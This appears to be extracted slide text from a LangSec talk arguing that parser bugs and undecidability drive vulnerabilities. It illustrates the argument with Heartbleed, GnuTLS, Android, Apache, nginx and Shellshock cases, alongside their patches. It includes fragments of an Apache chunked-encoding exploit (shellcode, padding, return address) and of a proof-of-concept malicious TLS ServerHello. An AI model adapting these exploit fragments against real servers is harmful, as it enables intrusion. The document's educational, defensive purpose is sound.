MY FAVORITE THINGS

Sergey Bratus
TRADITIONAL

- Raindrops on roses,
- Whiskers on kittens,
- Bright copper kettles,
- Warm woolen mittens,
- ...


Shoggoths that glibber
and ghouls that go meeping,
Eldritch dark ichor,
and the dead never sleeping;
Night-gaunts that flap with
their blasphemous wings,
these are a few of my favorite things.

http://transform.to/~mjc42/tut/library/humour.html
H.P. LOVECRAFT’S

❖ Shoggoths that glibber
❖ and ghouls that go meeping,
❖ Eldritch dark ichor,
❖ and the dead never sleeping;
❖ Night-gaunts that flap with their blasphemous wings,
❖ these are a few of my favorite things.
MY FAVORITE THINGS

❖ The halting problem & friends
  ❖ “I’d rather write programs to write to run on programs than write programs”

❖ Parser differentials
  ❖ in every OSI model layer!
  ❖ "even more undecidability!"
Hard vs (provably) Impossible

"Hard" will get figured out, impossible will keep failing

Hard: flight. Impossible: perpetual motion

Not all complexity is created equal

Landscape has cliffs & sheer drops into the abyss

We must know & avoid them. All other kinds of engineers do!
Offense creates security science

Exploits are proofs. In traditional sciences, "zero-day" is simply called "new result" (a.k.a. "worth publishing")

"A theory of security comes from a **theory of insecurity**"

If you shame attack research, you misjudge its contribution. Offense and defense aren’t peers. **Defense is offense’s child.**
“THE DARK SIDE”
How you learned about software

How it actually works
IMPOSSIBILITY STRIKES BACK

“Natural law”: you can’t stop nature from doing this no matter how hard you try

- Perpetual motion 1st kind (free work without energy input)
- Lossless energy transformations (2nd kind, no energy leaks)
- Speed of light, Heisenberg’s uncertainty, ...
WHAT’S YOUR IMPOSSIBILITY?

- Physical world **engineering** is **defined** by physical **impossibilities**

- Impossibility doesn’t mean we are doomed, it just means an engineer must:
  - Know the limiting laws
  - **Never** base designs on hopes of cheating them
    - unless, of course, your intent is **sabotage**.
What’s your **impossibility**? What’s wrong to attempt? What your design should never depend on solving?

- **Mechanical:** conservation laws, ...
- **Thermal:** thermodynamics laws, ...
- **Computer:** energy dissipation, latency < speed of light, quantum effects, ...
- **Software:** ??? (crypto? maybe...)
Oh ye seekers after perpetual motion, how many vain chimeras have you pursued? Go and take your place with the alchemists.

da Vinci, 1494
“One of the chief duties of the mathematician in acting as an adviser to scientists is to discourage them from expecting too much from mathematics.”

-- Norbert Wiener, 1964
“Since symbols can be written and moved about with negligible expenditure of energy, it is tempting to leap to the conclusion that anything is possible in the symbolic realm. This is the lesson of computability theory (viz., solvable problems vs. unsolvable problems), and also the lesson of complexity theory (viz., solvable problems vs. feasibly solvable problems): physics does not suddenly break down at this level of human activity. It is no more feasible to construct symbolic structures without using energy than it is possible to construct material structures for free.”

Richard A. DeMillo, Richard J. Lipton, and Alan J. Perlis, 1979
‘Social Processes and Proofs of Theorems and Programs’; Yale tr82
“One of the chief duties of the mathematician computer scientist in acting as an adviser to scientists everyone is to discourage them from expecting too much from mathematics computers”

-- stolen from Norbert Wiener, 2013
“One of the chief duties of the mathematician computer scientist hacker in acting as an adviser to scientists everyone is to discourage them from expecting too much from mathematics computers”

-- stolen from Norbert Wiener, 2013
INPUT IS "CYBER KRYPTONITE!"

- Programs are bad at analyzing programs
- All inputs are programs
- Programs are bad at analyzing **inputs**
  - we must know & avoid impossibilities
A proof that the Halting Problem is undecidable

Geoffrey K. Pullum

No general procedure for bug checks will do. Now, I won’t just assert that, I’ll prove it to you. I will prove that although you might work till you drop, you cannot tell if computation will stop.

You can never find general mechanical means for predicting the acts of computing machines; it’s something that cannot be done. So we users must find our own bugs. Our computers are losers!
“I heard you had a program for analyzing programs, so I put a program that analyzes programs into a program for you to analyze”

“Let $h(x,i) = 1$ if program $x$ halts on input $i$, $0$ otherwise”

“for any totally computable function $f(x,y)$, $h(g,g) != f(g,g)$ for the program $g$ that implements

$\begin{align*}
\text{procedure } \text{compute}_g(i): \\
\text{if } f(i,i) == 0 \text{ then} \\
\quad \text{return } 0 \\
\text{else} \\
\quad \text{loop forever}
\end{align*}$
HAVE YOU HEARD THIS BEFORE?

Bertrand Russell loves you and wants you to be happy

A barber hacker can only shave hack those who don’t hack themselves. Can the hacker hack himself?
INPUTS VS PROGRAMS
INPUTS VS PROGRAMS
INPUTS VS PROGRAMS
INPUTS VS PROGRAMS
INPUTS VS PROGRAMS

```c
hbtype = *p++;
n2s(p, payload);
pl = p;

*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpys(bp, pl, payload);
```
Hindsight is 20/20, right?
HINDSIGHT IS 20/20, RIGHT?

- Workplace safety rules are *hindsight*, too
- “written in blood”
- Such hindsight is long overdue in software!

Don’t check for voltage with your hand
Кирпич укладывай
ПРЯВИЛЬНО
25 рядов
Кирпич укладывай

Правильно
25 ядо

Наверху работают

Не стой под мачтой
Кирпич
Не веди работу подкопом
Наверху работают
Не стой под мачтой
“A BRIGHT LINE FOR INPUTS”

Checks
Input validation
Recognition

malloc()
memcpy()
+
-
*
/

PARANOIA
THE COMMON FAILURE PATTERN

“Sanity Checks”

malloc()

memcpy()

“Input sanitization”

+, -, *, /

+,

-,

*,

/
THE COMMON FAILURE PATTERN

“Sanity Checks”

malloc()

copy

“Input sanitization”

+, -, *, /

1010101
Heartbleed is a parser bug!

Heartbeat sent to victim

SSLv3 record:

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_REQUEST</td>
<td>1 byte</td>
<td></td>
</tr>
</tbody>
</table>
HEARTBLEED IS A PARSER BUG!

<table>
<thead>
<tr>
<th>SSLv3 record:</th>
<th>SSL3_RECORD</th>
</tr>
</thead>
<tbody>
<tr>
<td>Length</td>
<td></td>
</tr>
</tbody>
</table>

Heartbeat sent to victim

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_REQUEST</td>
<td></td>
<td>01 byte</td>
</tr>
</tbody>
</table>
HEARTBLEED IS A PARSER BUG!
HEARTBLEED IS A PARSER BUG!

**Heartbeat sent to victim**

**SSLv3 record:**
- **Length**: 4 bytes

**HeartbeatMessage**

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_REQUEST</td>
<td>65535 bytes</td>
<td>1 byte</td>
</tr>
</tbody>
</table>

**Victim’s response**

**SSLv3 record:**
- **Length**: 65538 bytes

**HeartbeatMessage**:

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_RESPONSE</td>
<td>65535 bytes</td>
<td>65535 bytes</td>
</tr>
</tbody>
</table>
HEARTBLEED IS A PARSER BUG!

Must agree, never checked

| Heartbeat sent to victim | hbtype = *p++;
|--------------------------|---------------------|
|                         | n2s(p, payload);
|                         | pl = p;             |

**Heartbeat sent to victim**

**SSLv3 record:**

| Length | 4 bytes |

**HeartbeatMessage:**

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_REQUEST</td>
<td>65535 bytes</td>
<td>1 byte</td>
</tr>
</tbody>
</table>

**Victim's response**

**SSLv3 record:**

| Length | 65538 bytes |

**HeartbeatMessage:**

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_RESPONSE</td>
<td>65535 bytes</td>
<td>65535 bytes</td>
</tr>
</tbody>
</table>
/* Read type and payload length first */

hbtype = *p++;
n2s(p, payload);
pl = p;

if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                    &s->s3->rrec.data[0], s->s3->rrec.length,
                    s, s->msg_callback_arg);

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0; /* silently discard */

hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard per RFC 6520 sec. 4 */

pl = p;

if (hbtype == TLS1_HB_REQUEST)
{
    unsigned char *buffer, *bp;
    unsigned int write_length = 1 /* heartbeat type */ +
                                2 /* heartbeat length */ +
                                payload + padding;
    int r;

    r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
    r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, write_length);

    if (r >= 0 && s->msg_callback)
        s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
                        buffer, 3 + payload + padding,
                        buffer, write_length,
                        s, s->msg_callback_arg);
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
        &s->s3->rrec.data[0], s->s3->rrec.length,
        s, s->msg_callback_arg);

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0; /* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;

if (hbtype == TLS1_HB_REQUEST)
{
    unsigned_char *buffer, *bp;
    unsigned int write_length = 1 /* heartbeat type */ +
        2 /* heartbeat length */ +
        payload + padding;

    int r;

    r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
    r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, write_length);
    if (r >= 0 && s->msg_callback)
        s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
            buffer, 3 + payload + padding,
            buffer, write_length,
            s, s->msg_callback_arg);
Be careful with your shovel!
Your input is a language; treat it as such: write a grammar spec!

PARSER CODE SHOULD READ LIKE THE GRAMMAR
FULL RECOGNITION

BEFORE PROCESSING
MANUL THE LANGSEC CAT SAYS:

utf-8 manul by
Apple’s SSL state machine, **hand-coded**

State machine done wrong: code must be generated!
Don’t step on fish!

- Apple’s SSL state machine has done wrong: code must be generated!
- State machine done wrong: code must be generated!
GNU-TLS HELLO BUG

CVE-2014-3466 ...because SSL/TLS misery loves company!

```c
- if (len < session_id_len) {
  + if (len < session_id_len || session_id_len >
    TLS_MAX_SESSION_ID_SIZE) {
```


http://radare.today/technical-analysis-of-the-gnutls-hello-vulnerability/
# PoC for CVE-2014-3466
# (gnutls: insufficient session id length check in _gnutls_read_server_hello)
#
# Author: Aaron Zauner <azet@azet.org>

# Record Layer
R_Type = '16'  # Handshake Protocol
R_Version = '03 01'  # TLS 1.0
R_Length = '00 fa'  # 250 Bytes

# Handshake Protocol: ServerHello
HS_Type = '02'  # Handshake Type: ServerHello
HS_Length = '00 00 f6'  # 246 Bytes
HS_Version = '03 01'  # TLS 1.0
HS_Random = '...'  # Random (gmt_unix_time + random bytes)
HS_SessID_Len = 'c8'  # Session ID Length 200 Bytes (!)
HS_SessID_Data = '...'  # Session ID Data (Payload)

53 8b 7f 63 c1 0e 1d 72 0a b3 f8 a7 0f f5 5d 69
65 58 42 80 c1 fb 4f db 9a aa 04 a3 d3 4b 71 c7

...
# Record Layer
R_Type = '16'  # Handshake Protocol
R_Version = '03 01'  # TLS 1.0
R_Length = '00 fa'  # 250 Bytes

# Handshake Protocol: ServerHello
HS_Type = '02'  # Handshake Type: ServerHello
HS_Length = '00 00 f6'  # 246 Bytes
HS_Version = '03 01'  # TLS 1.0
HS_Random = '...'  # Random (gmt_unix_time + random bytes)
HS_SessID_Len = 'c8'  # Session ID Length 200 Bytes (!)
HS_SessID_Data = '...'  # Session ID Data (Payload)

MaliciousServerHello = (R_Type + R_Version + R_Length +
HS_Type + HS_Length + HS_Version +
HS_Random + HS_SessID_Len + HS_SessID_Data).
.replace(' ', '').replace('
', '').decode('hex')
Don’t stack bricks too high
NESTED LENGTH FIELDS ARE DANGEROUS SYNTAX!

- Nested lengths are about data structure boundaries and nesting => they are **syntax**

- Length checks must be checked in the **parser**
  - e.g., if nested lengths do not agree the message is invalid

- Syntactically invalid messages should not be copied & processed
  - Semantic actions should wait until all syntax is checked
  - ...even if this means scanning message to the end
MORE MISERY! MS14-066

คว. MS SChannel: New code, same ASN.1 data.

BERSERK!

- A variant of Bleichenbacher attack on PKCS#1 v.1.5 (CVE-2006-4339)

**Intel Security: Advanced Threat Research**

**BERserk Vulnerability**

*Part 1: RSA signature forgery attack due to incorrect parsing of ASN.1 encoded DigestInfo in PKCS#1 v1.5*

http://www.intelsecurity.com/advanced-threat-research/berserk.html
**PARSER DIFFERENTIALS**

- Two parsers, one message ... two different parses!

- We’ve seen this before in:
  - X.509 certs: “PKI layer cake”, Kaminsky, Sassaman, Patterson, 2010
NIDS EVASION = PARSER DIFFS

- Also Vern Paxson et al, 1999, protocol normalization
UNDECIDABLE PARSER DIFFERENTIALS

- **“PKI Layer Cake: New Collision Attacks Against the Global X.509 Infrastructure”,** Dan Kaminsky, Len Sassaman, Meredith L. Patterson, 2010

- X.509 / ASN.1 parsers disagree on what’s in a common name (CN) => CA thinks it signs X, browser sees Y

- Checking equivalence of parsers beyond deterministic context-free languages is **undecidable**
THE “UNDECIDABILITY CLIFF”

IPv4  XML  X.509
JSON  IPv6  HTML5
PDF   JS   Flash

nondeterministic context-free
deterministic context-free
regular
ANDROID MASTER KEY: A PARSER
DIFFERENTIAL

Verification
Unzip
Verify

Installation
Unzip
Install

Bad signature

http://www.saurik.com/id/17
Android packages are signed & only installed if signature checks out

Java crypto verifier followed by C++ installer

C++ has unsigned integers, Java doesn’t => different results of unzipping

Different contents “verified” vs installed

http://www.saurik.com/id/{17,18,19}
Initial fixes still kept two different parsers

Recipe for disaster: \textit{undecidable} beyond deterministic context-free languages

Finally fixed right: the \textit{same} parser used for both verification & installation, not two different parsers
Be careful with your pitchfork!

http://www.saurik.com/id/17
HTTP CHUNKED ENCODING

- Eliminates the need for `Content-Length` header
  - meant for cases where the size of HTTP response isn’t known when response is started
  - e.g., unknown number of records fetched from a database

```
Transfer-Encoding: chunked
```

```
19
A bunch of data broken up
D
into chunks.
0
```
foreach my $offset (@offsets) {
    my $request;
    $request = "GET / HTTP/1.1\r\n";
    $request .= "Host: $target_host:$target_port\r\n";
    $request .= "Transfer-Encoding: CHUNKED\r\n";
    $request .= "\r\n";
    $request .= "DEADBEEF \n";

    # large nop sled plus shellcode
    $request .= $shellcode . "\r\n";

    # these three bytes are for address alignment
    $request .= "PAD";

    # place the appropriate amount of padding
    $request .= ("0" x $offset->[0]);

    # this is where ebx or esi points, make it jump over the return address
    $request .= "XX" . "\xeb\x04\xeb\x04";

    # this is the return address
    $request .= pack("V", $offset->[1]);
}
foreach my $offset (@offsets) {
    my $request;
    $request = "GET / HTTP/1.1\r\n";
    $request .= "Host: $target_host:$target_port\r\n";
    $request .= "Transfer-Encoding: CHUNKED\r\n";
    $request .= "\r\n";
    $request .= "DEADBEEF ";

    # large nop sled plus shellcode
    $request .= $shellcode . "\r\n";
}

DEADBEEF
A bunch of data broken up into chunks.
0
APACHE CVE-2002-3092

```perl
foreach my $offset (@offsets) {
    my $request;
    $request = "GET / HTTP/1.1\r\n";
    $request .= "Host: $target_host:$target_port\r\n";
    $request .= "Transfer-Encoding: CHUNKED\r\n";
    $request .= "\r\n";
    $request .= "DEADBEEF ";

--- http_protocol.c.vuln Fri Jun 14 16:12:50 2002
+++ http_protocol.c Fri Jun 14 16:13:47 2002
@@ -2171,7 +2171,7 @@

    /* Otherwise, we are in the midst of reading a chunk of data */
-   len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
+   len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz : r->remaining;

    len_read = ap_bread(r->connection->client, buffer, len_to_read);
    if (len_read <= 0) {
```
Watch where you step!

СМОТРИ

куда ступаешь
FAST FORWARD 11 YEARS...

- **Nginx** is found to have an exact **same** issue!

```c
--- src/http/ngx_http_parse.c
+++ src/http/ngx_http_parse.c
@@ -2209,6 +2209,10 @@ data:

 }
 + if (ctx->size < 0 || ctx->length < 0) {
 +     goto invalid;
 + }
 + }
 
 return rc;

 done:
```
case sw_chunk_start:
    if (ch >= '0' && ch <= '9') {
        state = sw_chunk_size;
        ctx->size = ch - '0';
        break;
    }

    c = (u_char) (ch | 0x20);

    if (c >= 'a' && c <= 'f') {
        state = sw_chunk_size;
        ctx->size = c - 'a' + 10;
        break;
    }

goto invalid;

case sw_chunk_size:
    if (ch >= '0' && ch <= '9') {
        ctx->size = ctx->size * 16 + (ch - '0');
        break;
    }

    c = (u_char) (ch | 0x20);

    if (c >= 'a' && c <= 'f') {
        ctx->size = ctx->size * 16 + (c - 'a' + 10);
        break;
    }
data:
ctx->state = state;
b->pos = pos;

switch (state) {

case sw_chunk_start:
    ctx->length = 3 /* "0" LF LF */;
    break;

case sw_chunk_size:
    ctx->length = 1 /* LF */
    + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */
    : 1 /* LF */);
    break;

case sw_chunk_extension:

case sw_chunk_extension_almost_done:
    ctx->length = 1 /* LF */ + ctx->size + 4 /* LF "0" LF LF */;
    break;

case sw_chunk_data:
    ctx->length = ctx->size + 4 /* LF "0" LF LF */;
    break;

case sw_after_data:

case sw_after_data_almost_done:
    ctx->length = 4 /* LF "0" LF LF */;
    break;

case sw_last_chunk_extension:

case sw_last_chunk_extension_almost_done:
    ctx->length = 2 /* LF LF */;
    break;

case sw_trailer:

case sw_trailer_almost_done:
    ctx->length = 1 /* LF */;
    break;

case sw_trailer_header:

case sw_trailer_header_almost_done:
    ctx->length = 2 /* LF LF */;
    break;
}

if (ctx->size < 0 || ctx->length < 0) {
    goto invalid;
}
STATE MACHINE DONE WRONG (AGAIN)

- ngx_http_parse.c:
  - 57 switch statements
  - 272 single-char case clauses
  - 2300+ SLOC
  - States and inputs for all grammar elements all mixed together, unintelligible

- Parser combinator style would have exposed the issue immediately, not 10+ years after the same bug in Apache
States and inputs for all grammar elements all mixed together, unintelligible.

Parser combinator style would have exposed the issue immediately, not 10+ years after the same bug in Apache.
FOR DESERT: SHELLSHOCK!

- `system("your command here")` actually means `parse_and_execute(ENV strings)`

  “Bash really is a local app that woke up one morning on the HMS CGI-BIN with a pounding headache”

- Computation power exposed to external inputs is computation power given to attacker
FOR DESERT: SHELLSHOCK!

Bash really is a local app that woke up one morning on the HMS CGI - BIN with a pounding headache.
WHAT FUTURE HOLDS
Valid or expected inputs are a language & must be so treated

Patch to Postel’s principle: “[For security of your users], be definite about what you accept!”

If you hand-program your parser, the grammar it expects/accepts must be clear from the code.

Hammer, a parser-combinator style kit for C/C++, Java, Python, .Net, Ruby, ...
https://github.com/UpstandingHackers/hammer
(Meredith L. Patterson et al)
Untrusted input streams

Well-typed objects

Grammar Spec

Recognizer for input language

Input

Processing:
- malloc()
- memcpy()
- +, *, -, /, ...

Accept valid/expected inputs, call semantic actions

Reject invalid inputs
PARSER-COMBINATOR STYLE: PARSERS ALL THE WAY DOWN
MAKE THE GRAMMAR THAT PARSER ACCEPTS CLEAR FROM THE CODE!

```
05 64 14 F3  start = h_token("\x05\x64");
01 00 00 04  len = h_int_range(h_uint8(), 5, 255);
0A 3B C0 C3  ctrl = h_uint8();
01 3C 02 06  dst = h_uint16();
3C 03 06 3C  src = h_int_range(h_uint16(), 0, 65519);
04 06 3C 01  crc = h_uint16();
06 9A 12  hdr = h_attr_bool(h_sequence(h_ignore(start),
   len, ctrl, dst, src, crc, NULL),
   validate_crc);
```

```
frame = h_attr_bool(h_sequence(hdr,
   h_optional(transport_frame),
   h_end_p(), NULL), validate_len);
```
AUDITING WITH LANGSEC

✧ Practical rules for input-language decisions: which to choose?

✧ **JSON** vs. **XML** vs. **ASN.1**

✧ **DER** vs. **BER**

✧ Auditing of input-handling code

✧ “Where is your recognizer?”

✧ “Do you really need recursive nesting syntax/ cross-layer context dependency/ cross-object dependency?”

---

<table>
<thead>
<tr>
<th>CVEs:</th>
<th>XML</th>
<th>JSON</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>635</td>
<td>58</td>
</tr>
<tr>
<td>(170 XXE)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
PROOFS TO THE RESCUE?

"YOU WANT PROOF? I'LL GIVE YOU PROOF!"
An Axiomatic Basis for Computer Programming

C. A. R. Hoare
The Queen’s University of Belfast,* Northern Ireland

In this paper an attempt is made to explore the logical foundations of computer programming by use of techniques which were first applied in the study of geometry and have later been extended to other branches of mathematics. This involves the elucidation of sets of axioms and rules of inference which can be used in proofs of the properties of computer programs. Examples are given of such axioms and rules, and a formal proof of a simple theorem is displayed. Finally, it is argued that important advantages, both theoretical and practical, may follow from a pursuance of these topics.

KEY WORDS AND PHRASES: axiomatic method, theory of programming, proofs of programs, formal language definition, programming language design, machine-independent programming, program documentation
CR CATEGORY: 4.0, 4.21, 4.22, 5.20, 5.21, 5.23, 5.24

AB OVO

✎ Proving correctness of programs *deductively*, from axioms

✎ “..axioms offer a simple and flexible technique for leaving certain aspects of a language *undefined* ... [which is] absolutely essential for standardization purposes.”
Thus the practice of proving programs would seem to lead to solution of three of the most pressing problems in software and programming, namely, reliability, documentation, and compatibility. However, program proving, certainly at present, will be difficult even for programmers of high caliber; and may be applicable only to quite simple program designs. As in other areas, reliability can be purchased only at the price of simplicity.
An Axiomatic Basis for Computer Programming

C. A. R. Hoare

1969

\[
\begin{align*}
P \{ Q \} R \\
\text{Precondition} & \quad \text{Code} & \quad \text{Result}
\end{align*}
\]

**D1  Rules of Consequence**

If \( P\{Q\}R \) and \( R \supset S \) then \( P\{Q\}S \)

If \( P\{Q\}R \) and \( S \supset P \) then \( S\{Q\}R \)

**D2  Rule of Composition**

If \( P\{Q_1\}R_1 \) and \( R_1\{Q_2\}R \) then \( P\{ (Q_1 ; Q_2) \}R \)
Assume Q is proven correct, \( P \{ Q \} R \)
If P isn’t quite right, what will \{ Q \} do to R?
BUILD WEIRD MACHINES

Assume Q is proven correct, \( P \{ Q \} R \)
If P isn’t quite right, what will \( \{ Q \} \) do to R?

What can we make Q compute by varying inputs it \textbf{wasn’t} verified for?
ABSTRACTION VS COMPOSITION

D2  Rule of Composition
If \( P\{Q_1\} R_1 \) and \( R_1\{Q_2\} R \) then \( P\{(Q_1 ; Q_2)\} R \)

So you put together \( \{ Q_1 ; Q_2 \} \). How many programs did you actually create?
Coq: The world’s best macro assembler?

Andrew Kennedy  Nick Benton  Jonas B. Jensen  Pierre-Evariste Dagand
Microsoft Research  ITU Copenhagen  University of Strathclyde

\textbf{Definition} call\_cdecl3 f arg1 arg2 arg3 :=
\begin{verbatim}
PUSH arg3;; PUSH arg2;; PUSH arg1;;
CALL f;; ADD ESP, 12.
\end{verbatim}

\textbf{Definition} main (printfSlot: DWORD) :=
\begin{verbatim}
(* Argument in EBX *)
letproc fact :=
    MOV EAX, 1;;
    MOV ECX, 1;;
    (* while ECX <= EBX *)
    while (CMP ECX, EBX) CC_LE true (  
        MUL ECX;; (* Multiply EAX by ECX *)
        INC ECX
    )

in
    LOCAL format;
    MOV EBX, 10;; callproc fact;;
    MOV EDI, printfSlot;;
    call\_cdecl3 [EDI] format EBX EAX;;
    MOV EBX, 12;; callproc fact;;
    MOV EDI, printfSlot;;
    call\_cdecl3 [EDI] format EBX EAX;;
    RET 0;;
    format:;;
    ds "Factorial of %d is %d";; db #10;; db #0.
\end{verbatim}

\textbf{Compute} bytesToHex
\begin{verbatim}
(assemble #x"C0000004" (main #x"C0000000"))
\end{verbatim}

- Coq, the proof assistant than can do induction proofs in \(\mathbb{N}\)
- Bit-level models of x86 instructions + mnemonics
- Verified assembly language

- Also, see \textbf{Ironclad}, Hawblitzel et al., OSDI’14
EXPLOITATION IS VERIFICATION

Automatic Exploit Generation

Our research team and others cast AEG as a program-verification task but with a twist (see the sidebar “History of AEG”). Traditional verification takes a program and a specification of safety as inputs and verifies the program satisfies the safety specification. The twist is we replace typical safety properties with an “exploitability” property, and the “verification” process becomes one of finding a program path where the exploitability property holds. Casting AEG in a verification framework ensures AEG techniques are based on a firm theoretic foundation. The verification-based approach guarantees sound analysis, and automatically generating an exploit provides proof that the reported bug is security-critical.

AEG is far from being solved. Scalability will always be an open and interesting problem. As of February 2013, AEG tools typically scale to finding buffer overflow exploits in programs the size of common Linux utilities.
"HOUSTON, WE HAVE A PROBLEM"

- Wassenaar Arrangement (Dec. 2013) defines "intrusion software"

- "...The modification of the standard execution path of a program or process in order to allow the execution of externally provided instructions..."

- Controls means of generating, developing, operating "intrusion software"

- Inputs become regulated arms?

- More in our "Information Security War Room" invited talk with FX at USENIX Security 2014
ARMS DEALER
RECOMMENDATIONS

- Specify your valid & expected input with a grammar
  - Keep the input language as simple as possible
- If you hand-write the parser, make sure the grammar is obvious from code
  - Use parser combinator style! (e.g., Hammer)
- Don’t mix semantic actions with syntax recognition!
  - “Full recognition before processing”
- Careful with memcopy, etc. before input is fully validated!
RECOMMENDATIONS

ęd Trustworthiness must at least include constraining & isolating emergent computation (“weird machines”)

❖ Co-design data formats & their parsing code to have least complexity, to make verification tractable

❖ The only way to avoid complexity cliff
LANGSEC VIEW OF CWE

2009 CWE/SANS Top 25

Weakness ID: 20 (Weakness Class)

Description Summary
The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Extended Description
When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a program, or arbitrary code execution.

2010/2011 CWE/SANS Top 25

ParentOf
107 Struts: Unused Validation Form
108 Struts: Unvalidated Action Form
109 Struts: Validator Turned Off
110 Struts: Validator Without Form Field
111 Direct Use of Unsafe JNI
112 Missing XML Validation
113 Improper Neutralization of CRLF Sequences in HTTP Headers ("HTTP Response Splitting")
114 Process Control
115 Improper Output Neutralization for Loops
116 Improper Restriction of Operations within the Bounds of a Memory Buffer
117 Buffer Copy without Checking Size of Input ("Classic Buffer Overflow")
118 Improper Validation of Array Index
119 Uncontrolled Format String
120 Improper Null Termination
121 Improper Overflow or Wraparound
122 Return of Pointer Value Outside of Expected Range
123 Use of Externally-Controlled Input to Select Classes or Code ("Unsafe Reflection")
124 ASP.NET Misconfiguration: Not Using Input Validation Framework
125 URL Redirection to Untrusted Site ("Open Redirect")
126 Unchecked Input for Loop Condition
127 Improper Validation of Function Hook Arguments
128 Null Byte Interaction Error (Poison Null Byte)
129 Integer Overflow to Buffer Overflow
130 Unchecked Return Value to NULL Pointer Dereference
131 Incomplete Blacklist to Cross-Site Scripting
132 Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
133 Use of Path Manipulation Function without Maximum-sized Buffer
134 Uncontrolled Memory Allocation
Large classes of weaknesses...

2009 CWE/SANS Top 25

2010 CWE/SANS Top 25

2011 CWE/SANS Top 25 (and still current)

…are failures of recognition!
Second year of the LangSec workshop at the IEEE Security & Privacy Symposium

http://spw15.langsec.org/ -- Thu May 21, 2015